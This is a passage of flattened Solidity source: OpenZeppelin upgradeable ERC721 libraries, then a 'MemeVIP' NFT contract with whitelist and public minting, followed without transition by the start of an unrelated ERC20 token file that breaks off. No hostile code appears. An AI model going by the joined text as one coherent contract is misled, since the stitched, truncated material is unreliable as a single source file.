super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[46] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable {
function __ERC721URIStorage_init() internal onlyInitializing {
}
function __ERC721URIStorage_init_unchained() internal onlyInitializing {
}
using StringsUpgradeable for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {
function __ERC721Burnable_init() internal onlyInitializing {
}
function __ERC721Burnable_init_unchained() internal onlyInitializing {
}
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/interfaces/draft-IERC1822Upgradeable.sol@v4.5.1
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
* proxy whose upgrades are fully controlled by the current implementation.
*/
interface IERC1822ProxiableUpgradeable {
/**
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
* address.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy.
*/
function proxiableUUID() external view returns (bytes32);
}
// File @openzeppelin/contracts-upgradeable/proxy/beacon/IBeaconUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// File @openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal onlyInitializing {
}
function __ERC1967Upgrade_init_unchained() internal onlyInitializing {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallUUPS(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/UUPSUpgradeable.sol)
pragma solidity ^0.8.0;
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal onlyInitializing {
}
function __UUPSUpgradeable_init_unchained() internal onlyInitializing {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Check that the execution is not being performed through a delegate call. This allows a function to be
* callable on the implementing contract but not through proxies.
*/
modifier notDelegated() {
require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall");
_;
}
/**
* @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the
* implementation. It is used to validate that the this implementation remains valid after an upgrade.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier.
*/
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
return _IMPLEMENTATION_SLOT;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File @openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File contracts/memeVIP.sol
pragma solidity ^0.8.2;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract MemeVIP is Initializable, ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721URIStorageUpgradeable, PausableUpgradeable, OwnableUpgradeable, ERC721BurnableUpgradeable, UUPSUpgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
address proxyRegistryAddress;
uint256 basePrice;
uint256 _totalSupply;
bytes32 merkleRoot;
bool _wlMint;
bool _publicMint;
CountersUpgradeable.Counter private _tokenIdCounter;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize() initializer public {
__ERC721_init("Meme VIP", "MVIP");
__ERC721Enumerable_init();
__ERC721URIStorage_init();
__Pausable_init();
__Ownable_init();
__ERC721Burnable_init();
__UUPSUpgradeable_init();
address _proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
proxyRegistryAddress = _proxyRegistryAddress;
basePrice = 80000000000000000;
_totalSupply = 3555;
_tokenIdCounter.increment();
_wlMint = false;
_publicMint = false;
}
function wlMint(uint256 count, bytes32[] calldata proof) public payable {
require(_wlMint == true, 'MINTING NOT YET STARTED');
require(count <= 10, 'MAX 10 PER TRANSACTION');
require(msg.value >= basePrice * count, 'INCREASE PAYMENT TO MINT');
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProofUpgradeable.verify(proof, merkleRoot, leaf),'NOT ON WHITELIST');
for(uint256 i=0; i< count; i++){
uint256 tokenId = _tokenIdCounter.current();
require(tokenId <= _totalSupply);
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
}
function batchMint(uint256 count) public payable {
require(_publicMint == true, 'PUBLIC MINTING NOT YET STARTED');
require(count <= 10, 'MAX 10 PER TRANSACTION');
require(msg.value >= basePrice * count, 'INCREASE PAYMENT TO MINT');
for(uint256 i=0; i< count; i++){
uint256 tokenId = _tokenIdCounter.current();
require(tokenId <= _totalSupply);
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
merkleRoot = _merkleRoot;
}
function commenceWlMint() public onlyOwner {
_wlMint = true;
}
function commencePublicMint() public onlyOwner {
_publicMint = true;
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
function currentToken() public view returns (uint256) {
uint256 currentNFT = _tokenIdCounter.current();
return currentNFT;
}
function _baseURI() internal pure override returns (string memory) {
return "https://api.goatkeepers.sh/v1/meme/metadata/";
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _authorizeUpgrade(address newImplementation)
internal
onlyOwner
override
{}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId)
internal
override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
{
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function withdrawAll() public {
uint256 amount = address(this).balance;
require(payable(owner()).send(amount));
}
}
|
DC1
|
//solidity.finance
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
//solidity.finance
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
